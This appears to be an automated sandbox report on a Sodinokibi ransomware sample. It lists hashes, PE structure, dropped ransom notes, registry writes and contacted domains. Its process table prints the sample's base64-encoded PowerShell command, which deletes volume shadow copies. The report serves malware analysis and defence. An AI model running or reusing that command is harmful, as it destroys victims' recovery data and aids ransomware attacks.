| File name: | sd1.exe |
| Full analysis: | https://app.any.run/tasks/54109791-c59d-4072-acc1-22f05a51416c |
| Verdict: | Malicious activity |
| Threats: | Ransomware is a type of malicious software that locks users out of their system or data using different methods to force them to pay a ransom. Most often, such programs encrypt files on an infected machine and demand a fee to be paid in exchange for the decryption key. Additionally, such programs can be used to steal sensitive information from the compromised computer and even conduct DDoS attacks against affected organizations to pressure them into paying. |
| Analysis date: | October 28, 2019, 19:30:56 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows |
| MD5: | 5C5E2F8A119BEB98AAECF2B358C82532 |
| SHA1: | 4F9F290D3A8D9A613492D3126A1E2EDE1A615A37 |
| SHA256: | 7E105447D0805615ED84971CEB96B2177C050AF2A7B4E396909109D9B6A4B9F3 |
| SSDEEP: | 6144:RB+tfi7ajVRrzxR39JmcwFzi/ehvE3Pb:/+tK7a3rvNgBWey3 |
MALICIOUS
Sodinokibi ransom note found
- sd1.exe (PID: 3496)
Changes settings of System certificates
- sd1.exe (PID: 3496)
Renames files like Ransomware
- sd1.exe (PID: 3496)
SUSPICIOUS
Executes PowerShell scripts
- sd1.exe (PID: 3496)
Executed as Windows Service
- vssvc.exe (PID: 1936)
Creates files in the program directory
- sd1.exe (PID: 3496)
Executed via COM
- unsecapp.exe (PID: 3628)
Creates files in the user directory
- powershell.exe (PID: 2192)
Creates files like Ransomware instruction
- sd1.exe (PID: 3496)
Adds / modifies Windows certificates
- sd1.exe (PID: 3496)
Application launched itself
- sd1.exe (PID: 2408)
INFO
Dropped object may contain TOR URL's
- sd1.exe (PID: 3496)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Win32 Executable (generic) (52.9) |
|---|---|---|
| .exe | | | Generic Win/DOS Executable (23.5) |
| .exe | | | DOS Executable Generic (23.5) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2018:09:02 22:54:33+02:00 |
| PEType: | PE32 |
| LinkerVersion: | 10 |
| CodeSize: | 43520 |
| InitializedDataSize: | 78176256 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x28b5 |
| OSVersion: | 5.1 |
| ImageVersion: | - |
| SubsystemVersion: | 5.1 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 1.0.5.1 |
| ProductVersionNumber: | 1.1.0.1 |
| FileFlagsMask: | 0x006f |
| FileFlags: | Pre-release, Patched |
| FileOS: | Unknown (0x40304) |
| ObjectFileType: | Static library |
| FileSubtype: | 81 |
| LanguageCode: | Chinese (Simplified) |
| CharacterSet: | Unicode |
| FileVersion: | 1.0.5.4 |
| InternalName: | fyukfuyk.exe |
| LegalCopyright: | Copyright (C) 2019, ghjhfkh |
Summary
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
| Compilation Date: | 02-Sep-2018 20:54:33 |
| Detected languages: |
|
| FileVersion: | 1.0.5.4 |
| InternalName: | fyukfuyk.exe |
| LegalCopyright: | Copyright (C) 2019, ghjhfkh |
DOS Header
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x000000E8 |
PE Headers
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 8 |
| Time date stamp: | 02-Sep-2018 20:54:33 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Sections
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
.text | 0x00001000 | 0x0000A804 | 0x0000AA00 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 6.47491 |
.rdata | 0x0000C000 | 0x00003544 | 0x00003600 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 4.84982 |
.data | 0x00010000 | 0x04A78F30 | 0x00024000 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 7.5105 |
.gayibof8 | 0x04A89000 | 0x00000038 | 0x00000200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 0 |
.xugiri | 0x04A8A000 | 0x000003C3 | 0x00000400 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 0 |
.riziw | 0x04A8B000 | 0x000013D8 | 0x00000600 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 0 |
.rsrc | 0x04A8D000 | 0x00008A60 | 0x00008C00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 5.75742 |
.reloc | 0x04A96000 | 0x00008094 | 0x00008200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ | 0.94241 |
Resources
Title | Entropy | Size | Codepage | Language | Type |
|---|---|---|---|---|---|
1 | 3.42348 | 420 | UNKNOWN | UNKNOWN | RT_VERSION |
2 | 6.10103 | 2216 | UNKNOWN | UNKNOWN | RT_ICON |
3 | 5.78484 | 1736 | UNKNOWN | UNKNOWN | RT_ICON |
4 | 4.9767 | 1384 | UNKNOWN | UNKNOWN | RT_ICON |
5 | 4.74371 | 9640 | UNKNOWN | UNKNOWN | RT_ICON |
6 | 5.30634 | 4264 | UNKNOWN | UNKNOWN | RT_ICON |
7 | 5.26926 | 2440 | UNKNOWN | UNKNOWN | RT_ICON |
8 | 5.14551 | 1128 | UNKNOWN | UNKNOWN | RT_ICON |
24 | 3.36573 | 946 | UNKNOWN | UNKNOWN | RT_STRING |
25 | 3.26133 | 596 | UNKNOWN | UNKNOWN | RT_STRING |
Imports
ADVAPI32.dll |
KERNEL32.dll |
MSIMG32.dll |
Total processes
45
Monitored processes
5
Malicious processes
2
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1936 | C:\Windows\system32\vssvc.exe | C:\Windows\system32\vssvc.exe | — | services.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Microsoft® Volume Shadow Copy Service Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2192 | powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA== | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | sd1.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2408 | "C:\Users\admin\Desktop\sd1.exe" | C:\Users\admin\Desktop\sd1.exe | — | explorer.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 3496 | "C:\Users\admin\Desktop\sd1.exe" | C:\Users\admin\Desktop\sd1.exe | sd1.exe | ||||||||||||
User: admin Integrity Level: HIGH Exit code: 0 Modules
| |||||||||||||||
| 3628 | C:\Windows\system32\wbem\unsecapp.exe -Embedding | C:\Windows\system32\wbem\unsecapp.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Sink to receive asynchronous callbacks for WMI client application Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
322
Read events
246
Write events
76
Delete events
0
Modification events
| (PID) Process: | (2408) sd1.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (2408) sd1.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
| (PID) Process: | (2192) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\12B\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (3496) sd1.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\GitForWindows |
| Operation: | write | Name: | 73g |
Value: 9C22E312FAF017EBBD1A3B3BCDDB6900CD03FD4561968331F37CF2B77B522642 | |||
| (PID) Process: | (3496) sd1.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\GitForWindows |
| Operation: | write | Name: | vTGj |
Value: 766B5B5AACEE51D07BA36F0CE5025EA61F0F729547EAA5CBC5862C17B363CD52 | |||
| (PID) Process: | (3496) sd1.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\GitForWindows |
| Operation: | write | Name: | Q7PZe |
Value: 78EAA1EAD69CDEF1790E8ED9856B7F8D7D8AE7212CB35CDB3DFBE40699571A4792C61AF86B0CD6F4FFE709D0A822CC99808FDFB6276787C9D1CC5AD4F30719ECA65A4C5995B8B5BC0A75E888DF1D1B5B477862B724F28961 | |||
| (PID) Process: | (3496) sd1.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\GitForWindows |
| Operation: | write | Name: | BuCrIp |
Value: 7B5E667E7C991DFB0E290A73F616D49EB0872855DA1084FD6FEB33E8604E0543E7D25F4E70BAF3C0EC17350201413CA2F39837B50FB74B350843B6B2F17C41E56A5FFF32E734004113F30FDD0520AC3B0A3975971B5D4512 | |||
| (PID) Process: | (3496) sd1.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\GitForWindows |
| Operation: | write | Name: | lcZd7OY |
Value: .3476h | |||
| (PID) Process: | (3496) sd1.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\GitForWindows |
| Operation: | write | Name: | sLF86MWC |
Value: A9F212534A6270F4D83CB9EFCFAB78693EA376026B0AE8F385E9B647E9718D543D40F4661B34AE55DACF732E8B2D59C280A0BBA2F97E517B258C284C01085922572D82E25E0A7F4F6296A3E0032DED175E561CFB6E33AE95B5D242D07C6D5A68441BFD558398134F008E088480107891E7B8CEB7EB4028E353EB88D51E2DDA3E5F6B5E9547EEF9F27A94C4726CC1ED86B8DA57447A94214EC2CCA3F3CCDD99566C782FB29402131D9F3A40BB35B68E7892E38883AB9C2448534EDE6C27F3DF324BCF05BE3790E4400BA4DDDAFD311577A754C838C6660E1CEE007CEDFDF762117E2655343399730E66E9911783043D850E8A18C59D8923AB023E65EB0778929FC8BDC2FC41A9BC2392ADFC69742443E6E66C9F74A8FEEF21C49C552CE14AE989CAD7CDAD397C9354A0D4BBCC616C0398E7B279FDC951DBA4517FEB377690D1E94CF9DCDD24817064C43C108F60F447AC5DFFB9B4AB59D425CC8A8831FB2160CEFA6E8D5BE60904F6B226BB24E4FF1A1CD61724CAC5C69A120BE3EBD58FE8EFC4EEE84AC15213C1B1CE88D2973A6B63FBF3E165D99C2FAE2067B898BDAA0A6B53B8EA1726D1B5E15423BCAD2AA8CF6492025B13BF9AD64CC49FFD1F5490BB962C9672F17B4C079DC5E5EA482A924E152BFED2B37A5D4EDCF58296F0924DBF72B98327CCCEC774BA0AF3A253F60A432BD57DFD0A920C9DD03393A784CD79C4094CF399EC1867C7798BAE74BEE2463266410F658588EA4658565A7B85B24EF34BC7D6746BC73D0770A9B4391F611AF6AA6F0D377305C811CA783DC61422CED7E22C2EC2082AA6CE87754D08275430F1E4D9CBDB6A234DF046840C24DC891E43B909D2742974565D5B8E1D4C537850585838DBC8D268466A4FD868B53B2AE1D72EB63BCC26F9AEDFDBFCDF3F6C27E67DB082B2690DE24332AEA17D5F97FA327A16690A49A681FCF714C93F9CF3C22C2E387D2C4053E056F67775D4B0D650E74BC6931638253B6C5A837BB971EFE1FF48D5738817BD7C6D8A86C456EDA67B95BAD3D10E01C0299B8E6B9408BC4EBE8557471C8F5A0EA304A4A4B4D6805C0D12DFE7DDE83B50D4240DE813265FD552FA28B38172373FDB18EC225211EC19616F979775AF6DEB71FB5A75B602934FF8885A8AF318DBEA4AF47741A27E7E8B32626F0A7ACC9767D1E4A0653017C9F1EB7391BC09426DAB733566FA174109328ECCE2527F70A11EAA2F1C | |||
| (PID) Process: | (3496) sd1.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\12B\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
Executable files
0
Suspicious files
165
Text files
1
Unknown types
1
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2192 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2817G57K8EE0EWNVU03X.temp | — | |
MD5:— | SHA256:— | |||
| 3496 | sd1.exe | C:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\boot.sdi | — | |
MD5:— | SHA256:— | |||
| 3496 | sd1.exe | C:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\Winre.wim | — | |
MD5:— | SHA256:— | |||
| 2192 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF39ba71.TMP | binary | |
MD5:— | SHA256:— | |||
| 3496 | sd1.exe | c:\recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\Winre.wim.3476h | — | |
MD5:— | SHA256:— | |||
| 2192 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 3496 | sd1.exe | C:\users\admin\3476h-readme.txt | binary | |
MD5:— | SHA256:— | |||
| 3496 | sd1.exe | C:\users\3476h-readme.txt | binary | |
MD5:— | SHA256:— | |||
| 3496 | sd1.exe | C:\users\admin\contacts\3476h-readme.txt | binary | |
MD5:— | SHA256:— | |||
| 3496 | sd1.exe | C:\users\admin\.oracle_jre_usage\3476h-readme.txt | binary | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
18
DNS requests
23
Threats
0
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3496 | sd1.exe | 34.198.220.199:443 | redctei.co | Amazon.com, Inc. | US | unknown |
3496 | sd1.exe | 52.44.210.121:443 | redctei.co | Amazon.com, Inc. | US | unknown |
3496 | sd1.exe | 81.16.155.112:443 | olry-cloisons.fr | yelster digital gmbh | AT | unknown |
3496 | sd1.exe | 146.66.99.35:443 | pinthelook.com | — | US | suspicious |
3496 | sd1.exe | 51.254.138.140:443 | sunsolutions.es | OVH SAS | FR | unknown |
3496 | sd1.exe | 5.35.250.124:443 | rentsportsequip.com | Host Europe GmbH | DE | suspicious |
3496 | sd1.exe | 67.222.38.73:443 | qandmmusiccenter.com | Unified Layer | US | suspicious |
3496 | sd1.exe | 162.241.218.58:443 | ronielyn.com | CyrusOne LLC | US | suspicious |
3496 | sd1.exe | 192.0.78.12:443 | maryairbnb.wordpress.com | Automattic, Inc | US | malicious |
3496 | sd1.exe | 95.216.12.233:443 | ntinasfiloxenia.gr | Hetzner Online GmbH | DE | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
redctei.co |
| malicious |
dns.msftncsi.com |
| shared |
tesisatonarim.com |
| malicious |
olry-cloisons.fr |
| whitelisted |
pinthelook.com |
| suspicious |
sunsolutions.es |
| suspicious |
www.sunsolutions.es |
| unknown |
rentsportsequip.com |
| suspicious |
qandmmusiccenter.com |
| suspicious |
ntinasfiloxenia.gr |
| suspicious |